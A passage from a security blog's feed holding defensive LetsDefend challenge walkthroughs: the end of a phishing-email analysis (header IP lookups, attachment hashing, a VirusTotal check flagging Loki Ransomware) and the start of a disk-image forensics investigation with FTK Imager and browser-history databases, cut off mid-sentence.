class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/7044bf8e49b7891f064f79032c75d631_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/095ae3faff8d16991e26520a4bab5434_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-originating-ip&#34;&gt;Question 5: What is the originating IP?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s check the &lt;strong&gt;Received&lt;/strong&gt; field. This field will list all mail servers that the message has gone through before delivery including their IP addresses. Since there is only one IP address in our sample, we should have the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/061fbbcc1aab9f3820c91cbc2703c6fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While out of scope for this challenge but useful in the real world, we can check threat intel for the sender IP address against a ton of excellent reputation and intelligence services online. Remember that our challenge scenario told us that the suspicious email was trying to impersonate a company — Threat intel can also help us determine if the originating IP address is related to the company it claims to be.&lt;/p&gt;&#xA;&lt;p&gt;For this example, let&amp;rsquo;s take a look at just a couple of these services — the C&lt;a class=&#34;link&#34; href=&#34;https://talosintelligence.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;isco Talos Intelligence Center&lt;/a&gt;, and the &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/SuperTool.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SuperTool&lt;/a&gt; over on &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MxToolBox&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;768&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/280116afef83718a1063149230d670bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cisco Talos IP Address Lookup&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;375px&#34; data-flex-grow=&#34;156&#34; height=&#34;511&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/2e3d58878db73d36cad766b8858acc8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MxToolBox Blacklist Check&lt;/p&gt;&#xA;&lt;p&gt;Using these types of services can help our analysis by adding context and intelligence to indicators we find during our investigations!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/6343487f088b2051a16a7a81b23ef537_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-country-is-the-ip-addressfrom&#34;&gt;Question 6: What country is the ip address from?&#xA;&lt;/h3&gt;&lt;p&gt;Since we have the IP address from &lt;strong&gt;Question 5&lt;/strong&gt;, we&amp;rsquo;re going to look for geolocation information about the IP address of the sending infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;There are any number of geolocation services we can use but it&amp;rsquo;s always a good idea to check a couple of different ones as the location data can vary depending on the method the provider uses to determine the geolocation. In the real world you might see some inaccurate geolocation data in your logs so double verifying is a good practice.&lt;/p&gt;&#xA;&lt;p&gt;You may have noticed that we already answered this in the previous question but to highlight more tools, we&amp;rsquo;ll check two more geolocation databases — &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;ipinfo.io&lt;/em&gt;&lt;/a&gt; &amp;amp; &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;DomainTools WhoIs Lookup&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;405px&#34; data-flex-grow=&#34;168&#34; height=&#34;474&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/22d7febc08df8b98b730cf641681c975_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;IP Information from ipinfo.io&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;152px&#34; data-flex-grow=&#34;63&#34; height=&#34;1233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/f590aa523298fe38ba2754e1080de5c1_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;IP Information from DomainTools WhoIs Lookup&lt;/p&gt;&#xA;&lt;p&gt;Now that we have checked three different services, we can more accurately answer &lt;strong&gt;Question 6&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/b0c56136c6cf2b46103f95d77aa6d2c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-attachment-when-you-unzip-it-with-extension&#34;&gt;Question 7: What is the name of the attachment when you unzip it? (with extension)&#xA;&lt;/h3&gt;&lt;p&gt;Alright, now we are going to move on from analysis of the &lt;strong&gt;.eml&lt;/strong&gt; file directly and check out the attachment — this is a separate file linked in the challenge.&lt;/p&gt;&#xA;&lt;p&gt;For this question, let&amp;rsquo;s simply unzip the archive file and see what the name of the file contained inside is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3764px&#34; data-flex-grow=&#34;1568&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/536d8c159c1fe136598d25f964ba9ec2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we have an executable file and misspelling of the brand in the file name — that&amp;rsquo;s suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/03225fd359deb09b57a5d6714715055d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-sha256-hash-of-thefile&#34;&gt;Question 8: What is the sha256 hash of the File?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have extracted an executable file from the &lt;em&gt;.zip&lt;/em&gt; archive we need to grab the file hash. Fortunately, we can do this directly in the terminal! Since we need to get the &lt;em&gt;SHA-256&lt;/em&gt; hash we can use the &lt;code&gt;sha256sum&lt;/code&gt; command to get the right output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/f5dcd5c6030cfb58a0327d49c16152c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s keep this output handy after we submit it so that we can use it for &lt;strong&gt;Question 9.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/273783472d80348f57f0625f6136baf7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-is-the-email-attachment-malicious-yesno&#34;&gt;Question 9: Is the email attachment malicious? Yes/No&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we made it to the last question! Let&amp;rsquo;s see if we can get any hits on this file from &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to help us determine if this binary is malicious or not. We&amp;rsquo;ll copy the file hash from &lt;strong&gt;Question 8&lt;/strong&gt; into the search bar and see what we can discover about this &lt;em&gt;indicator of compromise&lt;/em&gt; (IOC):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;680px&#34; data-flex-grow=&#34;283&#34; height=&#34;282&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/f7258bcb5b7f04d037b5b5d03f3fa7c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal detection of the file hash.&lt;/p&gt;&#xA;&lt;p&gt;There we go! We&amp;rsquo;ve got a high number of detections on &lt;em&gt;VirusTotal,&lt;/em&gt; with the threat labeled as &lt;em&gt;Loki Ransomware.&lt;/em&gt; This gives us high confidence that the file is indeed malicious without having to perform our own analysis on the executable.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check our work and wrap this challenge up!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/430ea63f3f7e2bc5ce91f45dce5d5acc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s walk through and quickly summarize. Our investigation revealed a social engineering attempt with spearphishing attachment (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1566.001&lt;/a&gt;) by impersonating another organization. If we executed the malicious file (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1024&lt;/a&gt;) in the attached &lt;em&gt;.zip&lt;/em&gt; archive, we might have been a victim of the Loki Ransomware! This is just the tip of the iceberg, but this is all the information we need to wrap up this challenge.&lt;/p&gt;&#xA;&lt;p&gt;We set out to determine if the email we received is suspicious and I think we can conclude that is! Great work on the investigation!&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend.io&lt;/strong&gt;&lt;/a&gt; for the challenge. While this was just a brief scenario, it provided us with a practical context to understand how we, as defenders, can quickly do some manual analysis of email headers and attachments to determine if they are malicious or not.&lt;/p&gt;&#xA;&lt;p&gt;I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cisco Talos:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://talosintelligence.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://talosintelligence.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MX ToolBox Blacklists Check:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/blacklists.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://mxtoolbox.com/blacklists.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DomainTools WhoIs:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://whois.domaintools.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ipinfo.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Techniques:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1566/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1204/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  —  PDFURI Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/</link>
            <pubDate>Sun, 24 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/ef15ec63b4868451dbd2545071581408_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  —  PDFURI Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--pdfuri-challenge-walkthrough&#34;&gt;LetsDefend — PDFURI Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;forensic-endpoint-investigation-with-ftk-imager-db-browser-pdfstreamdumper-registryexplorer&#34;&gt;Forensic Endpoint Investigation with FTK Imager, DB Browser, PDFStreamDumper, &amp;amp; Registry Explorer&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/ef15ec63b4868451dbd2545071581408_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdfuri&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdfuri&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me for this weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdfuri&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PDFURI&lt;/strong&gt;&lt;/a&gt; blue team challenge over on &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;. This challenge uses a hosted virtual machine analysis environment on &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; so that the challenge can be completed in a web browser! The virtual machine also comes with a ton of cool tools pre-installed to help us complete the challenge. It&amp;rsquo;s a fantastic opportunity to try out some new tools and get creative while analyzing a forensic image of a victim&amp;rsquo;s hard drive.&lt;/p&gt;&#xA;&lt;p&gt;As always, this write up will serve as a learning notebook for me and a &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdfuri&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdfuri&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our friend &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Dee&amp;quot;&#xA;was looking for a job in Tanta, but it seems she was hacked by one of the malicious websites, so can you examine her hard drive and find some evidence?&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-of-the-malicious-document&#34;&gt;Question 1: What is the MD5 hash of the malicious document?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, let&amp;rsquo;s start this off by launching our Lab Environment and unzipping the challenge file. From the challenge scenario, we know that we are going to be examining the victim&amp;rsquo;s hard drive, right? So, let&amp;rsquo;s check out the &lt;em&gt;Tools&lt;/em&gt; folder on the Desktop and see what our analysis environment has installed for us to use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;749px&#34; data-flex-grow=&#34;312&#34; height=&#34;251&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/920f02611ab4575645195926264cd7c3_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of our Tools folder&lt;/p&gt;&#xA;&lt;p&gt;It looks like we have &lt;em&gt;FTK Imager&lt;/em&gt; available! If you aren&amp;rsquo;t familiar, &lt;em&gt;FTK imager&lt;/em&gt; is a forensic hard disk imaging tool. In this case, we will use it to mount the victim&amp;rsquo;s disk image (challenge file) so that we can analyze the file system within the forensic image, search for files/folders, and even extract artifacts from the image!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s launch FTK Imager and load the image file by pressing &lt;em&gt;File &amp;gt; Add Evidence Item &amp;gt; Image File &amp;gt; Select the extracted Challenge File (PDFURI.001).&lt;/em&gt; Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.&lt;/p&gt;&#xA;&lt;p&gt;Since our scenario says the victim was searching for a job, maybe they downloaded a malicious file during their search? Let&amp;rsquo;s start simple and browse to the user&amp;rsquo;s &lt;em&gt;Downloads&lt;/em&gt; folder within &lt;em&gt;FTK&lt;/em&gt; (&lt;em&gt;PDFURI.001 &amp;gt; NONAME [NTFS] &amp;gt; [root]/Users/Work/Downloads&lt;/em&gt;) and see if we can find the malicious document to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/194b35f960d62f02d630cf85a45345a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we found something of interest — a job application (&lt;em&gt;Application.pdf)&lt;/em&gt; in the victim&amp;rsquo;s Downloads folder! Fortunately for us, we can quickly collect the &lt;em&gt;file hash&lt;/em&gt; of this artifact by right-clicking the file and using the &lt;em&gt;Export File Hash&lt;/em&gt; function. This will allow us to export the &lt;em&gt;MD5 &amp;amp; SHA1&lt;/em&gt; hashes to a text file for evidence.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check our export, copy the &lt;em&gt;MD5&lt;/em&gt; hash, and submit the answer to confirm our findings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/af47d6034c522782edab9ef49b83c215_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-domain-from-which-the-document-was-downloaded&#34;&gt;Question 2: What is the domain from which the document was downloaded?&#xA;&lt;/h3&gt;&lt;p&gt;Since we know the victim downloaded the file from a website, let&amp;rsquo;s check if we can locate the download source. A good starting point will be to check if there are any interesting artifacts in the web browser databases. So, our plan is to try to extract the &lt;strong&gt;History database&lt;/strong&gt; file from the disk image and view it with another one of our installed tools, &lt;em&gt;DB Browser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Before we go further, let&amp;rsquo;s pull back and reference a handy cheat sheet from &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Foxtron Forensics&lt;/a&gt; as a reference to the web browser databases:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  title=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Google Chrome History Location | Chrome History Viewer&lt;/strong&gt;&#xA;_Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner&amp;hellip;_www.foxtonforensics.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This article applies to &lt;em&gt;Google Chrome&lt;/em&gt; but since &lt;em&gt;Microsoft Edge&lt;/em&gt; is Chromium-based (Since 2019), this will apply to either one on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s head back into &lt;em&gt;FTK Imager&lt;/em&gt; and check which browser the victim used to download the malicious application. Navigate to &lt;em&gt;PDFURI.001 &amp;gt; NONAME [NTFS] &amp;gt; [root]\Users\Work\AppData\Local&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the directory we do not see any reference to Google as we would expect from the cheat sheet, but we do see &lt;em&gt;Microsoft,&lt;/em&gt; so the user probably used &lt;em&gt;Microsoft Edge&lt;/em&gt; as their browser_._ Now, let&amp;rsquo;s navigate to &lt;em&gt;Microsoft\Edge\User Data\Default.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right-Click on the &lt;strong&gt;Default&lt;/strong&gt; folder and select &lt;strong&gt;export files &lt;em&gt;—&lt;/em&gt;&lt;/strong&gt; this will allow us to extract the contents of the entire &lt;strong&gt;Default&lt;/strong&gt; folder including the browser databases so that we can view them.&lt;/p&gt;&#xA;&lt;p&gt;Now, we will load up &lt;em&gt;DB Browser (SQLite)&lt;/em&gt; from our Tools folder. Once it is open, press &lt;em&gt;Open Database&lt;/em&gt; and select the &lt;strong&gt;History&lt;/strong&gt; database. Now we can select the &lt;em&gt;Browse Data&lt;/em&gt; tab and browse the tables within it.&lt;/p&gt;&#xA;&lt;p&gt;Referencing the cheat sheet we understand:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Downloads are stored in the €˜&lt;strong&gt;History&lt;/strong&gt;&amp;rsquo; SQLite database, within the €˜&lt;strong&gt;downloads&lt;/strong&gt;&amp;rsquo; and €˜&lt;strong&gt;downloads_url_chains&lt;/strong&gt;&amp;rsquo; tables.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the &lt;em&gt;Downloads&lt;/em&gt; and &lt;em&gt;Downloads_URL_Chains&lt;/em&gt; tables to see what we find? Unfortunately, these come up empty so let&amp;rsquo;s pivot and just try to explore the victim&amp;rsquo;s browsing history.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll select the &lt;strong&gt;URLs&lt;/strong&gt; table and browse through the URL history. After reviewing the entries, we start to piece together the victim&amp;rsquo;s browsing history and then, we stumble across this 